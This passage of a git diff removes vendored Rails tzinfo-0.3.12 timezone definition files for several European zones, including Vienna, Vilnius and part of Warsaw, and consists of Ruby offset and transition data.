-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          tz.offset :o4, 7200, 0, :EET
-          tz.offset :o5, 10800, 0, :MSK
-          tz.offset :o6, 10800, 3600, :MSD
-          tz.offset :o7, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 385234469, 160
-          tz.transition 1918, 1, :o2, 387460069, 160
-          tz.transition 1918, 4, :o3, 58120765, 24
-          tz.transition 1918, 9, :o2, 58124461, 24
-          tz.transition 1919, 6, :o1, 58131371, 24
-          tz.transition 1921, 4, :o4, 387649669, 160
-          tz.transition 1940, 8, :o5, 29158169, 12
-          tz.transition 1941, 9, :o3, 19442019, 8
-          tz.transition 1942, 11, :o2, 58335973, 24
-          tz.transition 1943, 3, :o3, 58339501, 24
-          tz.transition 1943, 10, :o2, 58344037, 24
-          tz.transition 1944, 4, :o3, 58348405, 24
-          tz.transition 1944, 9, :o5, 29176265, 12
-          tz.transition 1981, 3, :o6, 354920400
-          tz.transition 1981, 9, :o5, 370728000
-          tz.transition 1982, 3, :o6, 386456400
-          tz.transition 1982, 9, :o5, 402264000
-          tz.transition 1983, 3, :o6, 417992400
-          tz.transition 1983, 9, :o5, 433800000
-          tz.transition 1984, 3, :o6, 449614800
-          tz.transition 1984, 9, :o5, 465346800
-          tz.transition 1985, 3, :o6, 481071600
-          tz.transition 1985, 9, :o5, 496796400
-          tz.transition 1986, 3, :o6, 512521200
-          tz.transition 1986, 9, :o5, 528246000
-          tz.transition 1987, 3, :o6, 543970800
-          tz.transition 1987, 9, :o5, 559695600
-          tz.transition 1988, 3, :o6, 575420400
-          tz.transition 1988, 9, :o5, 591145200
-          tz.transition 1989, 3, :o7, 606870000
-          tz.transition 1989, 9, :o4, 622598400
-          tz.transition 1990, 3, :o7, 638323200
-          tz.transition 1990, 9, :o4, 654652800
-          tz.transition 1991, 3, :o7, 670377600
-          tz.transition 1991, 9, :o4, 686102400
-          tz.transition 1992, 3, :o7, 701827200
-          tz.transition 1992, 9, :o4, 717552000
-          tz.transition 1993, 3, :o7, 733276800
-          tz.transition 1993, 9, :o4, 749001600
-          tz.transition 1994, 3, :o7, 764726400
-          tz.transition 1994, 9, :o4, 780451200
-          tz.transition 1995, 3, :o7, 796176000
-          tz.transition 1995, 9, :o4, 811900800
-          tz.transition 1996, 3, :o7, 828230400
-          tz.transition 1996, 10, :o4, 846374400
-          tz.transition 1997, 3, :o7, 859680000
-          tz.transition 1997, 10, :o4, 877824000
-          tz.transition 1998, 3, :o7, 891129600
-          tz.transition 1998, 10, :o4, 909277200
-          tz.transition 1999, 3, :o7, 922582800
-          tz.transition 1999, 10, :o4, 941331600
-          tz.transition 2002, 3, :o7, 1017536400
-          tz.transition 2002, 10, :o4, 1035680400
-          tz.transition 2003, 3, :o7, 1048986000
-          tz.transition 2003, 10, :o4, 1067130000
-          tz.transition 2004, 3, :o7, 1080435600
-          tz.transition 2004, 10, :o4, 1099184400
-          tz.transition 2005, 3, :o7, 1111885200
-          tz.transition 2005, 10, :o4, 1130634000
-          tz.transition 2006, 3, :o7, 1143334800
-          tz.transition 2006, 10, :o4, 1162083600
-          tz.transition 2007, 3, :o7, 1174784400
-          tz.transition 2007, 10, :o4, 1193533200
-          tz.transition 2008, 3, :o7, 1206838800
-          tz.transition 2008, 10, :o4, 1224982800
-          tz.transition 2009, 3, :o7, 1238288400
-          tz.transition 2009, 10, :o4, 1256432400
-          tz.transition 2010, 3, :o7, 1269738000
-          tz.transition 2010, 10, :o4, 1288486800
-          tz.transition 2011, 3, :o7, 1301187600
-          tz.transition 2011, 10, :o4, 1319936400
-          tz.transition 2012, 3, :o7, 1332637200
-          tz.transition 2012, 10, :o4, 1351386000
-          tz.transition 2013, 3, :o7, 1364691600
-          tz.transition 2013, 10, :o4, 1382835600
-          tz.transition 2014, 3, :o7, 1396141200
-          tz.transition 2014, 10, :o4, 1414285200
-          tz.transition 2015, 3, :o7, 1427590800
-          tz.transition 2015, 10, :o4, 1445734800
-          tz.transition 2016, 3, :o7, 1459040400
-          tz.transition 2016, 10, :o4, 1477789200
-          tz.transition 2017, 3, :o7, 1490490000
-          tz.transition 2017, 10, :o4, 1509238800
-          tz.transition 2018, 3, :o7, 1521939600
-          tz.transition 2018, 10, :o4, 1540688400
-          tz.transition 2019, 3, :o7, 1553994000
-          tz.transition 2019, 10, :o4, 1572138000
-          tz.transition 2020, 3, :o7, 1585443600
-          tz.transition 2020, 10, :o4, 1603587600
-          tz.transition 2021, 3, :o7, 1616893200
-          tz.transition 2021, 10, :o4, 1635642000
-          tz.transition 2022, 3, :o7, 1648342800
-          tz.transition 2022, 10, :o4, 1667091600
-          tz.transition 2023, 3, :o7, 1679792400
-          tz.transition 2023, 10, :o4, 1698541200
-          tz.transition 2024, 3, :o7, 1711846800
-          tz.transition 2024, 10, :o4, 1729990800
-          tz.transition 2025, 3, :o7, 1743296400
-          tz.transition 2025, 10, :o4, 1761440400
-          tz.transition 2026, 3, :o7, 1774746000
-          tz.transition 2026, 10, :o4, 1792890000
-          tz.transition 2027, 3, :o7, 1806195600
-          tz.transition 2027, 10, :o4, 1824944400
-          tz.transition 2028, 3, :o7, 1837645200
-          tz.transition 2028, 10, :o4, 1856394000
-          tz.transition 2029, 3, :o7, 1869094800
-          tz.transition 2029, 10, :o4, 1887843600
-          tz.transition 2030, 3, :o7, 1901149200
-          tz.transition 2030, 10, :o4, 1919293200
-          tz.transition 2031, 3, :o7, 1932598800
-          tz.transition 2031, 10, :o4, 1950742800
-          tz.transition 2032, 3, :o7, 1964048400
-          tz.transition 2032, 10, :o4, 1982797200
-          tz.transition 2033, 3, :o7, 1995498000
-          tz.transition 2033, 10, :o4, 2014246800
-          tz.transition 2034, 3, :o7, 2026947600
-          tz.transition 2034, 10, :o4, 2045696400
-          tz.transition 2035, 3, :o7, 2058397200
-          tz.transition 2035, 10, :o4, 2077146000
-          tz.transition 2036, 3, :o7, 2090451600
-          tz.transition 2036, 10, :o4, 2108595600
-          tz.transition 2037, 3, :o7, 2121901200
-          tz.transition 2037, 10, :o4, 2140045200
-          tz.transition 2038, 3, :o7, 59172253, 24
-          tz.transition 2038, 10, :o4, 59177461, 24
-          tz.transition 2039, 3, :o7, 59180989, 24
-          tz.transition 2039, 10, :o4, 59186197, 24
-          tz.transition 2040, 3, :o7, 59189725, 24
-          tz.transition 2040, 10, :o4, 59194933, 24
-          tz.transition 2041, 3, :o7, 59198629, 24
-          tz.transition 2041, 10, :o4, 59203669, 24
-          tz.transition 2042, 3, :o7, 59207365, 24
-          tz.transition 2042, 10, :o4, 59212405, 24
-          tz.transition 2043, 3, :o7, 59216101, 24
-          tz.transition 2043, 10, :o4, 59221141, 24
-          tz.transition 2044, 3, :o7, 59224837, 24
-          tz.transition 2044, 10, :o4, 59230045, 24
-          tz.transition 2045, 3, :o7, 59233573, 24
-          tz.transition 2045, 10, :o4, 59238781, 24
-          tz.transition 2046, 3, :o7, 59242309, 24
-          tz.transition 2046, 10, :o4, 59247517, 24
-          tz.transition 2047, 3, :o7, 59251213, 24
-          tz.transition 2047, 10, :o4, 59256253, 24
-          tz.transition 2048, 3, :o7, 59259949, 24
-          tz.transition 2048, 10, :o4, 59264989, 24
-          tz.transition 2049, 3, :o7, 59268685, 24
-          tz.transition 2049, 10, :o4, 59273893, 24
-          tz.transition 2050, 3, :o7, 59277421, 24
-          tz.transition 2050, 10, :o4, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb
deleted file mode 100644
index 990aabab..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb
+++ /dev/null
@@ -1,183 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Vienna
-        include TimezoneDefinition
-        
-        timezone 'Europe/Vienna' do |tz|
-          tz.offset :o0, 3920, 0, :LMT
-          tz.offset :o1, 3600, 0, :CET
-          tz.offset :o2, 3600, 3600, :CEST
-          
-          tz.transition 1893, 3, :o1, 2605558811, 1080
-          tz.transition 1916, 4, :o2, 29051813, 12
-          tz.transition 1916, 9, :o1, 58107299, 24
-          tz.transition 1917, 4, :o2, 58112029, 24
-          tz.transition 1917, 9, :o1, 58115725, 24
-          tz.transition 1918, 4, :o2, 58120765, 24
-          tz.transition 1918, 9, :o1, 58124461, 24
-          tz.transition 1920, 4, :o2, 58138069, 24
-          tz.transition 1920, 9, :o1, 58141933, 24
-          tz.transition 1940, 4, :o2, 58313293, 24
-          tz.transition 1942, 11, :o1, 58335973, 24
-          tz.transition 1943, 3, :o2, 58339501, 24
-          tz.transition 1943, 10, :o1, 58344037, 24
-          tz.transition 1944, 4, :o2, 58348405, 24
-          tz.transition 1944, 10, :o1, 58352773, 24
-          tz.transition 1945, 4, :o2, 58357141, 24
-          tz.transition 1945, 4, :o1, 58357381, 24
-          tz.transition 1946, 4, :o2, 58366189, 24
-          tz.transition 1946, 10, :o1, 58370389, 24
-          tz.transition 1947, 4, :o2, 58374757, 24
-          tz.transition 1947, 10, :o1, 58379125, 24
-          tz.transition 1948, 4, :o2, 58383829, 24
-          tz.transition 1948, 10, :o1, 58387861, 24
-          tz.transition 1980, 4, :o2, 323823600
-          tz.transition 1980, 9, :o1, 338940000
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 9, :o1, 370400400
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 9, :o1, 401850000
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o1, 717555600
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 9, :o1, 749005200
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 9, :o1, 780454800
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 9, :o1, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb
deleted file mode 100644
index d89d095a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb
+++ /dev/null
@@ -1,170 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Vilnius
-        include TimezoneDefinition
-        
-        timezone 'Europe/Vilnius' do |tz|
-          tz.offset :o0, 6076, 0, :LMT
-          tz.offset :o1, 5040, 0, :WMT
-          tz.offset :o2, 5736, 0, :KMT
-          tz.offset :o3, 3600, 0, :CET
-          tz.offset :o4, 7200, 0, :EET
-          tz.offset :o5, 10800, 0, :MSK
-          tz.offset :o6, 3600, 3600, :CEST
-          tz.offset :o7, 10800, 3600, :MSD
-          tz.offset :o8, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 52006653281, 21600
-          tz.transition 1916, 12, :o2, 290547533, 120
-          tz.transition 1919, 10, :o3, 8720069161, 3600
-          tz.transition 1920, 7, :o4, 58140419, 24
-          tz.transition 1920, 10, :o3, 29071277, 12
-          tz.transition 1940, 8, :o5, 58316267, 24
-          tz.transition 1941, 6, :o6, 19441355, 8
-          tz.transition 1942, 11, :o3, 58335973, 24
-          tz.transition 1943, 3, :o6, 58339501, 24
-          tz.transition 1943, 10, :o3, 58344037, 24
-          tz.transition 1944, 4, :o6, 58348405, 24
-          tz.transition 1944, 7, :o5, 29175641, 12
-          tz.transition 1981, 3, :o7, 354920400
-          tz.transition 1981, 9, :o5, 370728000
-          tz.transition 1982, 3, :o7, 386456400
-          tz.transition 1982, 9, :o5, 402264000
-          tz.transition 1983, 3, :o7, 417992400
-          tz.transition 1983, 9, :o5, 433800000
-          tz.transition 1984, 3, :o7, 449614800
-          tz.transition 1984, 9, :o5, 465346800
-          tz.transition 1985, 3, :o7, 481071600
-          tz.transition 1985, 9, :o5, 496796400
-          tz.transition 1986, 3, :o7, 512521200
-          tz.transition 1986, 9, :o5, 528246000
-          tz.transition 1987, 3, :o7, 543970800
-          tz.transition 1987, 9, :o5, 559695600
-          tz.transition 1988, 3, :o7, 575420400
-          tz.transition 1988, 9, :o5, 591145200
-          tz.transition 1989, 3, :o7, 606870000
-          tz.transition 1989, 9, :o5, 622594800
-          tz.transition 1990, 3, :o7, 638319600
-          tz.transition 1990, 9, :o5, 654649200
-          tz.transition 1991, 3, :o8, 670374000
-          tz.transition 1991, 9, :o4, 686102400
-          tz.transition 1992, 3, :o8, 701827200
-          tz.transition 1992, 9, :o4, 717552000
-          tz.transition 1993, 3, :o8, 733276800
-          tz.transition 1993, 9, :o4, 749001600
-          tz.transition 1994, 3, :o8, 764726400
-          tz.transition 1994, 9, :o4, 780451200
-          tz.transition 1995, 3, :o8, 796176000
-          tz.transition 1995, 9, :o4, 811900800
-          tz.transition 1996, 3, :o8, 828230400
-          tz.transition 1996, 10, :o4, 846374400
-          tz.transition 1997, 3, :o8, 859680000
-          tz.transition 1997, 10, :o4, 877824000
-          tz.transition 1998, 3, :o6, 891133200
-          tz.transition 1998, 10, :o3, 909277200
-          tz.transition 1999, 3, :o6, 922582800
-          tz.transition 1999, 10, :o4, 941331600
-          tz.transition 2003, 3, :o8, 1048986000
-          tz.transition 2003, 10, :o4, 1067130000
-          tz.transition 2004, 3, :o8, 1080435600
-          tz.transition 2004, 10, :o4, 1099184400
-          tz.transition 2005, 3, :o8, 1111885200
-          tz.transition 2005, 10, :o4, 1130634000
-          tz.transition 2006, 3, :o8, 1143334800
-          tz.transition 2006, 10, :o4, 1162083600
-          tz.transition 2007, 3, :o8, 1174784400
-          tz.transition 2007, 10, :o4, 1193533200
-          tz.transition 2008, 3, :o8, 1206838800
-          tz.transition 2008, 10, :o4, 1224982800
-          tz.transition 2009, 3, :o8, 1238288400
-          tz.transition 2009, 10, :o4, 1256432400
-          tz.transition 2010, 3, :o8, 1269738000
-          tz.transition 2010, 10, :o4, 1288486800
-          tz.transition 2011, 3, :o8, 1301187600
-          tz.transition 2011, 10, :o4, 1319936400
-          tz.transition 2012, 3, :o8, 1332637200
-          tz.transition 2012, 10, :o4, 1351386000
-          tz.transition 2013, 3, :o8, 1364691600
-          tz.transition 2013, 10, :o4, 1382835600
-          tz.transition 2014, 3, :o8, 1396141200
-          tz.transition 2014, 10, :o4, 1414285200
-          tz.transition 2015, 3, :o8, 1427590800
-          tz.transition 2015, 10, :o4, 1445734800
-          tz.transition 2016, 3, :o8, 1459040400
-          tz.transition 2016, 10, :o4, 1477789200
-          tz.transition 2017, 3, :o8, 1490490000
-          tz.transition 2017, 10, :o4, 1509238800
-          tz.transition 2018, 3, :o8, 1521939600
-          tz.transition 2018, 10, :o4, 1540688400
-          tz.transition 2019, 3, :o8, 1553994000
-          tz.transition 2019, 10, :o4, 1572138000
-          tz.transition 2020, 3, :o8, 1585443600
-          tz.transition 2020, 10, :o4, 1603587600
-          tz.transition 2021, 3, :o8, 1616893200
-          tz.transition 2021, 10, :o4, 1635642000
-          tz.transition 2022, 3, :o8, 1648342800
-          tz.transition 2022, 10, :o4, 1667091600
-          tz.transition 2023, 3, :o8, 1679792400
-          tz.transition 2023, 10, :o4, 1698541200
-          tz.transition 2024, 3, :o8, 1711846800
-          tz.transition 2024, 10, :o4, 1729990800
-          tz.transition 2025, 3, :o8, 1743296400
-          tz.transition 2025, 10, :o4, 1761440400
-          tz.transition 2026, 3, :o8, 1774746000
-          tz.transition 2026, 10, :o4, 1792890000
-          tz.transition 2027, 3, :o8, 1806195600
-          tz.transition 2027, 10, :o4, 1824944400
-          tz.transition 2028, 3, :o8, 1837645200
-          tz.transition 2028, 10, :o4, 1856394000
-          tz.transition 2029, 3, :o8, 1869094800
-          tz.transition 2029, 10, :o4, 1887843600
-          tz.transition 2030, 3, :o8, 1901149200
-          tz.transition 2030, 10, :o4, 1919293200
-          tz.transition 2031, 3, :o8, 1932598800
-          tz.transition 2031, 10, :o4, 1950742800
-          tz.transition 2032, 3, :o8, 1964048400
-          tz.transition 2032, 10, :o4, 1982797200
-          tz.transition 2033, 3, :o8, 1995498000
-          tz.transition 2033, 10, :o4, 2014246800
-          tz.transition 2034, 3, :o8, 2026947600
-          tz.transition 2034, 10, :o4, 2045696400
-          tz.transition 2035, 3, :o8, 2058397200
-          tz.transition 2035, 10, :o4, 2077146000
-          tz.transition 2036, 3, :o8, 2090451600
-          tz.transition 2036, 10, :o4, 2108595600
-          tz.transition 2037, 3, :o8, 2121901200
-          tz.transition 2037, 10, :o4, 2140045200
-          tz.transition 2038, 3, :o8, 59172253, 24
-          tz.transition 2038, 10, :o4, 59177461, 24
-          tz.transition 2039, 3, :o8, 59180989, 24
-          tz.transition 2039, 10, :o4, 59186197, 24
-          tz.transition 2040, 3, :o8, 59189725, 24
-          tz.transition 2040, 10, :o4, 59194933, 24
-          tz.transition 2041, 3, :o8, 59198629, 24
-          tz.transition 2041, 10, :o4, 59203669, 24
-          tz.transition 2042, 3, :o8, 59207365, 24
-          tz.transition 2042, 10, :o4, 59212405, 24
-          tz.transition 2043, 3, :o8, 59216101, 24
-          tz.transition 2043, 10, :o4, 59221141, 24
-          tz.transition 2044, 3, :o8, 59224837, 24
-          tz.transition 2044, 10, :o4, 59230045, 24
-          tz.transition 2045, 3, :o8, 59233573, 24
-          tz.transition 2045, 10, :o4, 59238781, 24
-          tz.transition 2046, 3, :o8, 59242309, 24
-          tz.transition 2046, 10, :o4, 59247517, 24
-          tz.transition 2047, 3, :o8, 59251213, 24
-          tz.transition 2047, 10, :o4, 59256253, 24
-          tz.transition 2048, 3, :o8, 59259949, 24
-          tz.transition 2048, 10, :o4, 59264989, 24
-          tz.transition 2049, 3, :o8, 59268685, 24
-          tz.transition 2049, 10, :o4, 59273893, 24
-          tz.transition 2050, 3, :o8, 59277421, 24
-          tz.transition 2050, 10, :o4, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb
deleted file mode 100644
index 7fa51c26..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Warsaw.rb
+++ /dev/null
@@ -1,212 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Warsaw
-        include TimezoneDefinition
-        
-        timezone 'Europe/Warsaw' do |tz|
-          tz.offset :o0, 5040, 0, :LMT
-          tz.offset :o1, 5040, 0, :WMT
-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          tz.offset :o4, 7200, 0, :EET
-          tz.offset :o5, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 288925853, 120
-          tz.transition 1915, 8, :o2, 290485733, 120
-          tz.transition 1916, 4, :o3, 29051813, 12
-          tz.transition 1916, 9, :o2, 58107299, 24
-          tz.transition 1917, 4, :o3, 58112029, 24
-          tz.transition 1917, 9, :o2, 58115725, 24
-          tz.transition 1918, 4, :o3, 58120765, 24
-          tz.transition 1918, 9, :o4, 58124461, 24
-          tz.transition 1919, 4, :o5, 4844127, 2
-          tz.transition 1919, 9, :o4, 4844435, 2
-          tz.transition 1922, 5, :o2, 29078477, 12
-          tz.transition 1940, 6, :o3, 58315285, 24
-          tz.transition 1942, 11, :o2, 58335973, 24
-          tz.transition 1943, 3, :o3, 58339501, 24
-          tz.transition 1943, 10, :o2, 58344037, 24
-          tz.transition 1944, 4, :o3, 58348405, 24
-          tz.transition 1944, 10, :o2, 4862735, 2
-          tz.transition 1945, 4, :o3, 58357787, 24
-          tz.transition 1945, 10, :o2, 29181125, 12
-          tz.transition 1946, 4, :o3, 58366187, 24
-          tz.transition 1946, 10, :o2, 58370413, 24
-          tz.transition 1947, 5, :o3, 58375429, 24
-          tz.transition 1947, 10, :o2, 58379125, 24
-          tz.transition 1948, 4, :o3, 58383829, 24
-          tz.transition 1948, 10, :o2, 58387861, 24
-          tz.transition 1949, 4, :o3, 58392397, 24
-          tz.transition 1949, 10, :o2, 58396597, 24
-          tz.transition 1957, 6, :o3, 4871983, 2
-          tz.transition 1957, 9, :o2, 4872221, 2
-          tz.transition 1958, 3, :o3, 4872585, 2
-          tz.transition 1958, 9, :o2, 4872949, 2
-          tz.transition 1959, 5, :o3, 4873439, 2
-          tz.transition 1959, 10, :o2, 4873691, 2
-          tz.transition 1960, 4, :o3, 4874055, 2
-          tz.transition 1960, 10, :o2, 4874419, 2
-          tz.transition 1961, 5, :o3, 4874895, 2
-          tz.transition 1961, 10, :o2, 4875147, 2
-          tz.transition 1962, 5, :o3, 4875623, 2
-          tz.transition 1962, 9, :o2, 4875875, 2
-          tz.transition 1963, 5, :o3, 4876351, 2
-          tz.transition 1963, 9, :o2, 4876603, 2
-          tz.transition 1964, 5, :o3, 4877093, 2
-          tz.transition 1964, 9, :o2, 4877331, 2
-          tz.transition 1977, 4, :o3, 228873600
-          tz.transition 1977, 9, :o2, 243993600
-          tz.transition 1978, 4, :o3, 260323200
-          tz.transition 1978, 10, :o2, 276048000
-          tz.transition 1979, 4, :o3, 291772800
-          tz.transition 1979, 9, :o2, 307497600
-          tz.transition 1980, 4, :o3, 323827200
-          tz.transition 1980, 9, :o2, 338947200
-          tz.transition 1981, 3, :o3, 354672000
-          tz.transition 1981, 9, :o2, 370396800
-          tz.transition 1982, 3, :o3, 386121600
-          tz.transition 1982, 9, :o2, 401846400
-          tz.transition 1983, 3, :o3, 417571200
-          tz.transition 1983, 9, :o2, 433296000
-          tz.transition 1984, 3, :o3, 449020800
-          tz.transition 1984, 9, :o2, 465350400
-          tz.transition 1985, 3, :o3, 481075200
-          tz.transition 1985, 9, :o2, 496800000
-          tz.transition 1986, 3, :o3, 512524800
-          tz.transition 1986, 9, :o2, 528249600
-          tz.transition 1987, 3, :o3, 543974400
-          tz.transition 1987, 9, :o2, 559699200
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
